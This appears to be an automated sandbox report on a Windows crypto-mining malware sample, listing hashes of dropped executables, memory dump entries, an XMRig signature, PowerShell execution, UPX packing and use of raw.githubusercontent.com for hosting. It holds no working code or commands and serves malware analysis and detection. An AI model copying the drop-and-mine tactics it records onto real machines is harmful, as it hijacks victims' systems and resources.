MD5	7723691e6eef6c30f3f75c2a4a982a9b
SHA1	b7238c45dccdebf825fc21b1eed55d7d4d67e016
SHA256	75e30c536936daffa967b042fdbdcc214019b5e900ae5bc0fb45f050a1488d9a
SHA512	279b034b1423b223e958ad1e3f95b4a4fe9afb567b0940ae6840996d133431fcca54f54c040154c2a0244cbc5c0a7c4204d59e76452ff7346ab4fc85daace30b

\Windows\system\xwRDZSE.exe

MD5	d684e986c4aa5bab1f6b115ee4126502
SHA1	010b3a83f354843721b4b902cacdb11ea91fc693
SHA256	05bd0466feadd3852544246229f239025190bc6774867cd6fea4254a15f652ee
SHA512	673bdb141d748ca79fd735e2766a5a2a0a6909a239cbc197055296708f1d65b121440a6839a56fd4048b892dfd8dc616d0cd9dd09f780fdaa8da14c8d19b2db6

\Windows\system\Gytcwxd.exe

MD5	9a553e28400cfae70d934a91095f784e
SHA1	f1c3e6be1644c9d252de200e267d5f1a27bae018
SHA256	ceba6bffa9e9c640d79908b082a9af754d0827c4c828c52cb55359ba20f9baf0
SHA512	ac9e73307ed50e9510ece457b6267d50aac736795baf699875da266b0815353d5dcc1ba5abad9718804d03dc75f679ff766a0ff3fcd595eef9d51f698848b88c

memory/2976-158-0x000000013FCE0000-0x00000001400D2000-memory.dmp

memory/2620-164-0x000000013FD90000-0x0000000140182000-memory.dmp

memory/1804-169-0x000000013FCF0000-0x00000001400E2000-memory.dmp

memory/1804-172-0x000000013FBA0000-0x000000013FF92000-memory.dmp

memory/1804-90-0x000000013F730000-0x000000013FB22000-memory.dmp

\Windows\system\ToKQPwV.exe

MD5	eaa9955e9d52abf1267bdc7a4fc7baff
SHA1	4d49df8507304aeee437d57f3fad49fd14e68f96
SHA256	330c9a691cc54d98110a056462441b0c938f0170b35d4c68b7d9b6ace133ecb6
SHA512	433c91b536f1bb1f801088e4d10badfd9a4da9073cd1d941af3f62553ec46d495b4c86191182048670c1099f63adf4256c40c7b2b5a7d335fe36683807ad57cb

\Windows\system\NGgrNsV.exe

MD5	1d6dd518128faadd1545b2286e4b23c2
SHA1	7c37236207197fcd37f6066467ab9213459373c2
SHA256	616250fd504e98504ab0c82dc9ee9abcc28ea1b3fd0bf6f76649815dfaff1a2e
SHA512	332e007abd12319316a3d103acf3fda2113349dbc03f73c6b5256eb7b0ec15f950b1057a64cb5580e07c4e6f0f111934d52c60c4689da0755ec9f7d77c2be87b

\Windows\system\SuXQIvS.exe

MD5	7aead9fbf1954dc951e5a312b7d529ea
SHA1	0eb465544c508ef262d8be548dec9fc6fa139175
SHA256	13f10573126736e620195b08b8d375bdf345dd6c3ff71daa83689a18db840340
SHA512	de5d8894d39fdc423ab5ba9144a6e053f78974f77e96c56beb67b81edc1285b70e36cbf3c1775a6289d458f11b93a63246be63a3e8ad17365f1cbd3752301bc2

C:\Windows\system\wznJsDE.exe

MD5	5dc4ed9c2f2d06891f23a1b661f3d67d
SHA1	b46914ef39f40a4d62529e044a316aba4e9f4aa4
SHA256	35ac7d4b455a691413664a228646fdcbfa562e9b7246be07655d9e5226e6049c
SHA512	9c69a9f172e9c29fb515e9102a949993ea9d46c88f000574d13a64079e563b95f35dd0fb11f1f594c921e6ef2cdf04dce1c5e10d56bab01c08986488d3708074

C:\Windows\system\plWscbD.exe

MD5	6ed512c1eaccf4933c2f07ee860e54ce
SHA1	5b951a1c8f27439517abc86611b81a77fdbee8ae
SHA256	c938051e80349f9c1112c2fbfe941d337d477cdc1e6526476f60edd4bc25c478
SHA512	1053f4ce8c71493e04f123cc6c0fcbb065810a980ba0d11b947b932d3f99ae5301b247416680d0c8e6a69a83d131a20dce912ede8ca5e10c9af1c7282960a6a9

C:\Windows\system\dKOQUST.exe

MD5	e3e97846e818ffe9c89468a07b10bd5b
SHA1	50d747d77abb7e24c3ce595bd7bb53b057751d3b
SHA256	cf74a951f3a34e0bbe2580ae6fa4eb9d14383e348f2caa47a3962855917434cf
SHA512	f8d9e0e28c6cbea856832c08bab8fe292d4198627127379226379cee077c8d9b47cf2e6922a728b568651431036de144a55aa962e1418eed0495786c61b056bf

C:\Windows\system\ZdiEpvC.exe

MD5	d469195872146245ed10e6a1849bc21d
SHA1	1746bb156805a61f6788d2265345c9bbd08d3cbc
SHA256	fdd511884c4b5f4feb8856169f1dcfa44afa11a875a017ffa962f7014cf81c5d
SHA512	6f560a31fdd0b0201d22dcff0b9c70e13ad5ad4f818ec6d83fb629360a2e46803b1ce62b0a22b146a672523167d6e2643757bcad5cf879d5b85fe2b16b63a088

\Windows\system\GTcytll.exe

MD5	7759e35924af9b286a0006df3bd62b26
SHA1	abeb3c66cef48dc2d264760f25022dfc8a71b846
SHA256	6c7feba5b64963d415877082ec12ff9f57c0e6712c9409691971746325caf52c
SHA512	d38080e79ec6c1cd50776746a1821c2d5b4a1bd05a93f824a182d4c2a596a6e9abba85b7720acfefa14d74db1fc03006054e9f00f3b869ff8bee36377a127bf2

\Windows\system\NsYkqyD.exe

MD5	a1b808799e4f04991b5f4b538b0f55f4
SHA1	9226f920ffbf85cc7382bdd42c1f897669fddd07
SHA256	28944bf46ce6cf969d5614f44b45ea044f3ad43dcf6019e3b8ef25309fd7d9b6
SHA512	a02f379d28b8d1854387bfbb8317da2b199f4b92d1a59627f6187df3328164ca80fc3f0886f7cdd9edf5cca4cf752c003e669acb042038329172d8dfa2af027c

C:\Windows\system\TmZOcPq.exe

MD5	e1cd79366f539f2b2e2fa5a3afd6ce21
SHA1	69f383a0a18b900005a186b82dbeafb8c8165842
SHA256	2b2e18404fd1d29458b03b4e63f7d9f4936b64ca360549c5a72eedbb54103964
SHA512	34c9bd412c4084edef3419c6687073058f23fed25a20f190e476fee7ac8a524c5f2aaeba1b2ef3c0e74c60e9f651b3215b153ed4bb69cfdbddfef1e6b7efc170

\Windows\system\cqlhjxD.exe

MD5	98b02b932056412aff5b5d7a28e378e1
SHA1	4774c418448881b0a2b8b17bac66299e3abdf0b2
SHA256	21cc6a98e7b21ab55b85634291176d411dc8a1964d305dec6e58eede684b0a8f
SHA512	7c58ef3fc1809095fd64c4032018faac65018146c9329a033835bc649ed42324d8be4ccc2db10ec98117134aa4028dc9de9a3958e302105746b543ccf2e77a2f

\Windows\system\NlDDcSc.exe

MD5	748609b6fc927e50217211ffd9814501
SHA1	4940195e4808766a9fc1dd4406438b6b774076d8
SHA256	a0bc82a5253f0dd09c7bd2c2e419e33c1a76a1ffa2d7916353c5ebe2fdbfc804
SHA512	889892a3799d33cf29cda52bd8a49336c003d15d2ca02fa6659ee0e9f591d5cc79a5b48c76e1237acb60af73a88bd62ee7a5aae586eddc4aeda674f653d5a437

\Windows\system\OuRuuDG.exe

MD5	b1471a38d90d8c7da39ea273e60f4b24
SHA1	3b0e828e6f442b3a8d75b5c13ddc1d0fcadeaae1
SHA256	d1ea795e4a9989edb07cba52f5f678ea9426ff587902813e8804a5a52dd1a973
SHA512	ef56031d18b0bbd8bd9d9e7062bcc0a75afc6b50b6104ad617274d481f47c7143cd6213a23e8a6f06217615ddbc6ab7a3c34ec7a78810b0d52d5bfe08c90415d

\Windows\system\zpZOfFF.exe

MD5	18a2161eb2a13bc48366d96294dfbf4b
SHA1	9095d2496961b4f02af2c14d45a94a0f4785c30d
SHA256	ee92e1e7cb570583e56ee34a3b705210d840a794cb584061f21536625da70031
SHA512	374caafc7c67901c6371252d0798a885b8a256a8adcdb05786b5ed036e7422869258f5b1f8b1561674253e3bf71874ecbafe5ef6b4b385b3638a26de72bca7e2

C:\Windows\system\MHRoCYA.exe

MD5	fe56baceb905289793e9a5975d832d4b
SHA1	dcc1ec4c41f0b2e3539523114c68765a32cd5c7b
SHA256	0d8b43806b54fe6d4591abd7a107aafa3a144ccf5169becf0d73506c748d2819
SHA512	83e54e0f8a50ef3f194ea97d4ac4b948b2c58a3bd510be091b2aa3cfd623e52c3204dbc930552b310c40988c4b59887b6d3c635a95180a5a63630b77a1b6940e

C:\Windows\system\PqcGTyJ.exe

MD5	da044f64edbf27e1d2f96a2543b5dac6
SHA1	c193de7adf71478b1a05d1966dd2c541c8b486e7
SHA256	48b7b188869b0219a9a2e1f044a214cb47f8fdbb65b2145e4d6ddecfa893b213
SHA512	469d45e30e5ad11d8dd68c96b938bc625d2f38681cbd519bcc5ca02983ea91bef3e94ae6e4cde86f74ababd9ff9a7594bd69ffd209ec30a136b93ef29edb9c08

C:\Windows\system\yLBhEGN.exe

MD5	e69050f46ab3be9d59cb3efe4497c56e
SHA1	d2a7a0bbba12f78b68c312ff741491d9626b0162
SHA256	a038979d1fae9877cba84f6710079f8e53bcc9da352d1a88303c77aee780fe3b
SHA512	d98ea5f63a2e699a8669d23bab3c51adb74ba42db9dffa82db1073f3ceb3e559da76a39da34c741542e441336c79fa14c4a77b5c72299202872e653ab14cd6e8

C:\Windows\system\VZIfjdG.exe

MD5	c5c405072c510aecd955bc68a46f4d5a
SHA1	15076571cd76be674ed732d45344cea5808b831c
SHA256	0b5ca35a37dc058e398f99230dff92e6b7d6a350f173bf4114fb6b7e4422bfdf
SHA512	bc61896053437778c6d5d90a0f1e72dcc4a9d8bd67c850f45e2238c37a0966d7ff1bfa7f040506b74e1084a057b73e0c2d23339aa346573d822797b153b3b9d5

memory/2016-85-0x000000013F900000-0x000000013FCF2000-memory.dmp

memory/1804-83-0x000000013FCE0000-0x00000001400D2000-memory.dmp

\Windows\system\dbHdvXn.exe

MD5	0f7e064aff0178aae444c7ad4557e99e
SHA1	dea365ce7d7cc5cacbb34a5c08e837ea348da9ea
SHA256	4909abb312b8f95fc218cc88a3d1d3d85362d4ffdd106e6108bd3d0078527a41
SHA512	d120e5639e11eef0fe5353d3ce9fab8c5e3f9c72508ffb09569b7eb093291701a0735f1ed7824ed513566e8e90580533f3a1ed9980f1915d2dd77a8af7ee9810

\Windows\system\oLNlKVM.exe

MD5	77c1b05cd5862aad364e313cd10be8e8
SHA1	ea2fdbc7a86f84a97ee6c386a69d318aae65f5b2
SHA256	b3566dcbc2b80282cb160749e62512a6233fe26fae0c3b66d8e08d56699f470e
SHA512	f08c1adad59483ac32eee7975e211fbce39de7ae04210764d55ec2d7aa0ebb3b0f37212562db55afd46294ff31d776bef507479f6d306c76ad95e7ac0dd9aea7

\Windows\system\euRRlEq.exe

MD5	7c4be488e91fd6ab59c3233ec7d2c23f
SHA1	d32bfe15c44726d8501cc55308ccd388e9351067
SHA256	fb16b630dfad750e05e3fabbdadb76385f3189e0bb80be1e911185b62314242a
SHA512	77558c68287a5b6b30a5b1356acd70aefbab8d02fb6884e84718675ea72ade22cd7c4fb15a58e5e86fbff7d9edd720d21823616f947d7bc04a17f215a4f70cef

\Windows\system\wNwKqPH.exe

MD5	bd8e780d112c0f88bfcd9c04e377a156
SHA1	718495917c39dda8f416e6927fdcea023877d1d0
SHA256	e4abab684df1b22a7cd5f51b56deb7acfd60f928f74d94e2ae7f523c832787c6
SHA512	a0fe0b439b873473fcc0e8d0b4c2b71874b27bcdcc506c1dde9cde6cbc0af191d7e647dc9ea9b4dd00ef39ac8d8d8a1e83e60328ebc7b8559d5a8ba065c5d4cc

C:\Windows\system\KQVKgAD.exe

MD5	15554241bc1bf1acef03736c4778e3e8
SHA1	8cae68fbdaf07eb1c75dd8ba24c54803fa8af182
SHA256	bdb98ccbfe6b552cef61df34e8f1ad9d63bad0b838f7145a82615948cc5fac43
SHA512	8b7f5a6aa30b2e1b2c0cb4100831d40742d7b058f4565922528f5b8569af5eb4b73b36ff1aafec9589f5e287de6666101ae7aa3fdb6da99d67175834c4e49fb1

C:\Windows\system\QXsSNXe.exe

MD5	27702ac5abd099dc178626e9690a1c4e
SHA1	651e5fd8524dfec81c6d87aa61f802429fbc5225
SHA256	fdf8806a7f35eaad1a41ec3c2a9a36693976dc0ab4a2d8f6976d7f8ee4ecf549
SHA512	643a10e31a8550b5672d64d1b24c7b8c36a7393a8d73b39e20edcd840ef41c2542e1771a58064e0468ac7cff3fd08b705fec13970c48ecf28330fc79f4de8c29

C:\Windows\system\ljXPvrE.exe

MD5	9dc801ef648d0fd399d6f3aa298699fa
SHA1	6d9f2d5991e62b0c779ef65646068e830345ae05
SHA256	7dea9c890eace1fd449366265a72728fb1f9c6cce2b7bd137736164ebf795c0f
SHA512	10c090fbd5f1159dac2ea8380a89be31396840ae9419753ba3b3225a0bd4d9b29c52ac5d5f22d7f87f8f261f691a5c486a67ddb495186ddff1019c961ead8696

C:\Windows\system\YRBbaKo.exe

MD5	8b94fbe54960f41ab0361b50aa5630f3
SHA1	98ef226e1128ddf8fbba5e2e83c6a993a3676ff9
SHA256	8fca43dd584ccc4a65ae2b6b1d7bbd4f5bf803f972763974368189b4fe5a39d7
SHA512	1d1e8404725af97c831d1ad68c5821d83b967c1e4509cd62590d2ee12a4110339b09c4187e74c1787259928c56c435d178b2ee39dfc560a00c4608c7ef3fbf15

memory/2096-47-0x000000013F030000-0x000000013F422000-memory.dmp

C:\Windows\system\dWCsuYk.exe

MD5	f8fac5e7731897b77357b4cdf15cebfb
SHA1	53f92e5a9e2199e78caa514789ce67c067fc5734
SHA256	62702229424fae2ac37956b233de3fdde3932a08e9d91b167926d6d85f582c32
SHA512	a5f876db5a1f4b6293fbebd1fd2ee96e274c71c285e0706523e2dc79f1cad0eb91847220ca43404f7355d978a326011afddec5424365777026bc29e0db36b8bc

C:\Windows\system\fiIDXbI.exe

MD5	0a2f8237a3699f1c01c5deb4da902f74
SHA1	d654db3c32faa5b1adbdc766ac24f406a4c3376c
SHA256	a16ebbea8ca9177cc5c1ef03616c88192464bc48bbffb6e9ab760e1a7aacbb62
SHA512	33c1074ea7264cfd247f80db5b42705008b050f98fb0c43de86b743a6dc6e7326195a148adb14fd13e333df41d0e4d9c3d92770188a2047704846d550a30f409

memory/1804-171-0x000000013FD90000-0x0000000140182000-memory.dmp

memory/1804-170-0x0000000002E00000-0x00000000031F2000-memory.dmp

memory/1804-168-0x000000013F6F0000-0x000000013FAE2000-memory.dmp

memory/2056-167-0x000000013FBA0000-0x000000013FF92000-memory.dmp

memory/2756-166-0x000000013FA70000-0x000000013FE62000-memory.dmp

memory/2760-165-0x000000013F600000-0x000000013F9F2000-memory.dmp

memory/1804-163-0x0000000002FA0000-0x0000000003392000-memory.dmp

memory/1804-155-0x000000013FAD0000-0x000000013FEC2000-memory.dmp

memory/1804-154-0x000000013FA70000-0x000000013FE62000-memory.dmp

C:\Windows\system\zlJSWvU.exe

MD5	493f2fe7b5780028042806b66a80a700
SHA1	dd8bb73ff5f89c7241773aab5ff3b3e8c148b7fe
SHA256	fbc228f59e8cd685cce4dd9bb8ff8b4c35766c6dabd06427bb3619b3f6cae3c0
SHA512	1587d9b16e0f4dc7e8638fec700935429f69580f24ca5da4c3cf7fe8b9bbb38fe87e3e78432b006f73cb965e3d0d099457dbd71a65a9e6630f13c6ae947b267a

memory/1804-151-0x000000013FA70000-0x000000013FE62000-memory.dmp

C:\Windows\system\zQjXjzJ.exe

MD5	b09dc638469e3d812997666cf7065001
SHA1	8f9af44865f11a63efb20b7dff2e9617ca38f847
SHA256	bfbeee0bfd4d1681c74698debed5761236211d879bc0ea946a4289105585ad54
SHA512	9867324fd41f76062740cdda02fddeefb62945bc23905a0f55c7f0e8d8df2b1046f68f7913ad867deafce638924f13e30df05889337f6a282296ebfe2ebf7ea4

C:\Windows\system\CsUYpYN.exe

MD5	26e40c908d63546549f34b09479fd365
SHA1	c31a0b7984a0abfc52acb66a77ad87db804015c7
SHA256	3f444536d0bc5474dd354fb57fa3b7784e15664f0611324ce9acd143c552bb44
SHA512	34e1c7430a13c8dc3bbfac04056f8dbf502f39a2c258ee020818422ee6d8eb37fab7c60a623b299d3fa9440be57c7db8fa7c1c1ed0483a5a2696ea65e1539167

memory/2984-123-0x000000013F3D0000-0x000000013F7C2000-memory.dmp

memory/1804-40-0x000000013F900000-0x000000013FCF2000-memory.dmp

C:\Windows\system\aOaJeiz.exe

MD5	d77071345e2ec2b762a76fa7a6827663
SHA1	0d2798eb2f00f8662ba89f27d3cd5eb53fba0c66
SHA256	1bcaae9bc8f39a217da5a996d0613c0851d30c46dbffc094dd8277ce52aa9b8d
SHA512	67e43c5671ccd7c7e8332982c31d82167f0093aab7641b59fceaf36a96e2b7ded36e87deb6c6da5172e05028af9029f0fbab37bcfad3dac88babf35e7893ecba

C:\Windows\system\lEynPLz.exe

MD5	6a482379cb86a08f7a69a859c42fd83c
SHA1	b1a8ee02b332e34f2b3959cd48acdc743fe7356e
SHA256	98154be79839802a47f12c6a5c0194fe8ddbc8b45260db5d882d4753b4c947c4
SHA512	072847b0437cb0aa1b6bdfea057b08be7362916c1b89256064df2ba0b93abd7c9aae79008cb1a6384e01d62037a2d4dcf340dbfb5fd52370682b4bcdea82a666

C:\Windows\system\ryItSpg.exe

MD5	5067b932de28a12c3d11875efc297d4e
SHA1	e6e7a95858ff5a91849f98ed7449a1264c1d05f7
SHA256	14a1f21633951ae96d40d251310ccc903eb5ee7d669037ca573a1d99c1d8ee54
SHA512	25f0a1271f51187b6359bc678076037fcab2f8cf2b8668f33e291ddf91fd2e7a2739daf2780939357894e3937062fca229a9057b158751df83655a4f5bcc298d

C:\Windows\system\HrfYQpf.exe

MD5	234d7f6a33537ed14bb4ea976276d2d7
SHA1	d3bfc3070663dc0a42128e6f2fd23e519db446e8
SHA256	bd1f56db73f945e529bde22f5791cd03e98827461d5eabe3eb506228be227450
SHA512	eede521bce81cb1de988d6e229accd525f5ba91c75c3e6cc5cf183d3b7c9e7eaabaa210082287a445b7431c8a72f87669a79268da49dfdce657bb4b96ed86f20

memory/1804-12-0x0000000002E00000-0x00000000031F2000-memory.dmp

memory/2696-331-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

memory/2696-329-0x000000001B480000-0x000000001B762000-memory.dmp

C:\Windows\system\SibEOmJ.exe

MD5	90cc8a9ba43b0445c09133a8ad5a4344
SHA1	8c9caa4b0361dee0057b8af76b4b40588f028105
SHA256	ebda111caaa22bc3cf246f369967cd1970b81931672957409e64bbf9553c625c
SHA512	f29975fce97f9633e3946d599e2ec21ffeeef2b5b296303b55ec62d5cb1907c1b6188646121e8e7c7076ee7a20855b896498133380dafcd815f5c9819927466b

memory/2016-5078-0x000000013F900000-0x000000013FCF2000-memory.dmp

memory/2760-5070-0x000000013F600000-0x000000013F9F2000-memory.dmp

memory/2620-5093-0x000000013FD90000-0x0000000140182000-memory.dmp

memory/2056-5069-0x000000013FBA0000-0x000000013FF92000-memory.dmp

memory/2096-5180-0x000000013F030000-0x000000013F422000-memory.dmp

memory/2756-5195-0x000000013FA70000-0x000000013FE62000-memory.dmp

memory/2976-5227-0x000000013FCE0000-0x00000001400D2000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 22:18

Reported

2024-06-13 22:21

Platform

win10v2004-20240508-en

Max time kernel

150s

Max time network

148s

Command Line

"C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Command and Scripting Interpreter: PowerShell

execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System\zXcYdgh.exe	N/A
N/A	N/A	C:\Windows\System\LMqBFmg.exe	N/A
N/A	N/A	C:\Windows\System\pTgeEtv.exe	N/A
N/A	N/A	C:\Windows\System\JrKqcfm.exe	N/A
N/A	N/A	C:\Windows\System\HRwLZip.exe	N/A
N/A	N/A	C:\Windows\System\dBsTWDJ.exe	N/A
N/A	N/A	C:\Windows\System\eHEPnMM.exe	N/A
N/A	N/A	C:\Windows\System\NPUkHXT.exe	N/A
N/A	N/A	C:\Windows\System\XdRFVVQ.exe	N/A
N/A	N/A	C:\Windows\System\YLoNWgP.exe	N/A
N/A	N/A	C:\Windows\System\HELQfdc.exe	N/A
N/A	N/A	C:\Windows\System\zsczpij.exe	N/A
N/A	N/A	C:\Windows\System\RHtrhMp.exe	N/A
N/A	N/A	C:\Windows\System\efwMhIK.exe	N/A
N/A	N/A	C:\Windows\System\vPWfdTQ.exe	N/A
N/A	N/A	C:\Windows\System\POPcSxM.exe	N/A
N/A	N/A	C:\Windows\System\Bmxbpcf.exe	N/A
N/A	N/A	C:\Windows\System\LzQAjRN.exe	N/A
N/A	N/A	C:\Windows\System\kzhZhTp.exe	N/A
N/A	N/A	C:\Windows\System\VOXnviM.exe	N/A
N/A	N/A	C:\Windows\System\NXYfTGM.exe	N/A
N/A	N/A	C:\Windows\System\ZzXuRfB.exe	N/A
N/A	N/A	C:\Windows\System\uEtRDDR.exe	N/A
N/A	N/A	C:\Windows\System\eCJGUJp.exe	N/A
N/A	N/A	C:\Windows\System\EjStnbC.exe	N/A
N/A	N/A	C:\Windows\System\BhRZlgx.exe	N/A
N/A	N/A	C:\Windows\System\CTyIrrq.exe	N/A
N/A	N/A	C:\Windows\System\EtLwjmV.exe	N/A
N/A	N/A	C:\Windows\System\sTkhmyn.exe	N/A
N/A	N/A	C:\Windows\System\ehUEjow.exe	N/A
N/A	N/A	C:\Windows\System\jqniNCU.exe	N/A
N/A	N/A	C:\Windows\System\SiMPbFm.exe	N/A
N/A	N/A	C:\Windows\System\TVBJKVS.exe	N/A
N/A	N/A	C:\Windows\System\HnIPwMd.exe	N/A
N/A	N/A	C:\Windows\System\knGHFjT.exe	N/A
N/A	N/A	C:\Windows\System\sxJRbJG.exe	N/A
N/A	N/A	C:\Windows\System\dZptOxx.exe	N/A
N/A	N/A	C:\Windows\System\BEgaZGd.exe	N/A
N/A	N/A	C:\Windows\System\PvYJQQp.exe	N/A
N/A	N/A	C:\Windows\System\DsCmUkY.exe	N/A
N/A	N/A	C:\Windows\System\HYuzsqh.exe	N/A
N/A	N/A	C:\Windows\System\LKWKtPq.exe	N/A
N/A	N/A	C:\Windows\System\ODmrizR.exe	N/A
N/A	N/A	C:\Windows\System\vOqUYmi.exe	N/A
N/A	N/A	C:\Windows\System\UoZkEdA.exe	N/A
N/A	N/A	C:\Windows\System\TvNCMas.exe	N/A
N/A	N/A	C:\Windows\System\FysLbGf.exe	N/A
N/A	N/A	C:\Windows\System\GWxUdzY.exe	N/A
N/A	N/A	C:\Windows\System\HErRWUx.exe	N/A
N/A	N/A	C:\Windows\System\QYLadgQ.exe	N/A
N/A	N/A	C:\Windows\System\ceKcuiP.exe	N/A
N/A	N/A	C:\Windows\System\nLToAWN.exe	N/A
N/A	N/A	C:\Windows\System\txktMMz.exe	N/A
N/A	N/A	C:\Windows\System\gXceZcO.exe	N/A
N/A	N/A	C:\Windows\System\TFxIrap.exe	N/A
N/A	N/A	C:\Windows\System\cFopHJI.exe	N/A
N/A	N/A	C:\Windows\System\fikyTFk.exe	N/A
N/A	N/A	C:\Windows\System\SOdgFsb.exe	N/A
N/A	N/A	C:\Windows\System\hFWevgp.exe	N/A
N/A	N/A	C:\Windows\System\KbbILCe.exe	N/A
N/A	N/A	C:\Windows\System\fSKbUOT.exe	N/A
N/A	N/A	C:\Windows\System\IypgBpd.exe	N/A
N/A	N/A	C:\Windows\System\HOaLobI.exe	N/A
N/A	N/A	C:\Windows\System\vIdoytF.exe	N/A

UPX packed file

upx

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Legitimate hosting services abused for malware hosting/C2

Description	Indicator	Process	Target
N/A	raw.githubusercontent.com	N/A	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File created	C:\Windows\System\heTLOpc.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\AYIgOoA.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\mhdfmGe.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\hisNPPc.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\EBOPbML.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\weQWaak.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\GzYUYQO.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\pvlNnHx.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\tXNKoAE.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\gxkecYQ.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\AvQCwSW.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\btJpwUY.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\yGBYviV.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\kpzcghS.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ntJWRsH.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\saviMAa.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\AqvpbDN.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
